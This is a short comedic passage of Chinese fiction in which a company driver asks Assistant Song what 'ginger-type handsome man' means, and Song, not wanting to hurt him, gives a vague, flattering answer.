“对了,宋助理,”司机想了想,略带羞意地问,“生姜系帅哥是什么意思啊?是指很有韵味吗,就你们年轻人常说的辣?hot?” 司机是庆英的老员工了,信息管理系统里还能搜到二十多岁时的证件照,和现在几乎没什么差别,小小年纪看着就干巴巴的那种类型,完全的生姜系。 看他那样期待,宋助理有点于心不忍,咬了咬嘴皮,含混地说,“嗯……差不多吧,始终如一。” 司机感动:“没想到我在你这儿的评价这么高,宋助理,我一直以为你这个高材生不愿意跟我这种家伙共事,果然,能被我们小姐选中的人都是大好人啊!” 宋助理假笑:“嗯嗯,呵呵……”